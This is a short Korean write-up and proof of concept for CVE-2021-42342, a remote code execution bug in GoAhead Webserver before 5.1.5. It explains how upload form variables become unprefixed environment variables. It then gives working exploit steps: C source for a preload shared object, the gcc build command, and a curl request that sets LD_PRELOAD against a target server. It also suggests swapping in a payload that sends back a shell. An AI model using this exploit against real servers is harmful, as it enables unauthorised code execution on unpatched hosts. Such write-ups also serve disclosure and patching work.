
최근 버전 5.1.5 이전의 Goahead Webserver에서 발견된 RCE에 대한 작은 PoC
Goahead Webserver의 최근 버그가 William Bowling에 의해 발견되었으며, 이로 인해 공격받은 서버에서 RCE가 발생합니다.
이 문제는 5.1.5 미만 버전에 존재하며, Shodan에 따르면 약 280만 개의 인터넷 서버가 이에 해당합니다.
현재 CVE도 공개되었습니다 [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
RCE의 원인은 파일 업로드 필터가 활성화된 경우 사용자가 파일을 업로드함과 동시에 사용자 폼 변수를 설정할 수 있다는 점입니다.
이 변수들은 결국 OS 환경 변수가 됩니다. 일반적인 폼 업로드 상황에서는 환경 변수 앞에 CGI_ (기본값) 접두사가 붙기 때문에 문제가 되지 않습니다. 그러나 파일 업로드 필터가 활성화된 경우 코드 오류로 인해 이 접두사가 생략되어 환경 변수 + 파일을 통한 즉각적인 RCE가 발생합니다.
다음 코드는 원격 서버에 "Hello World"만 출력하지만, 실제로는 무엇이든 가능합니다:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
다음과 같이 컴파일:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
이제 파일을 서버로 보낼 준비가 되었습니다. curl을 사용하여 수행할 수 있습니다:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
[TARGET]을 대상 서버의 도메인/IP로 변경하세요.
서버에서 오류가 발생할 수 있지만, 예를 들어 멋진 셸로 콜백을 보내는 다른 공유 오브젝트로 시도해보세요 👍
수정 사항은 goahead 5.1.5와 함께 제공됩니다: [https://github.com/embedthis/goahead/issues/305]
이 문제는 Perfect Blue CTF 팀의 Willian Bowling에 의해 처음 발견되었습니다.
pbCTF 2021 당시 당시 버전(5.1.4)의 goahead 서버가 포함된 챌린지가 있었고, Kalmarunionen CTF 팀과 함께 코드에서 동일한 0day 문제를 발견했습니다(당시 작성자에게 공개되기 전).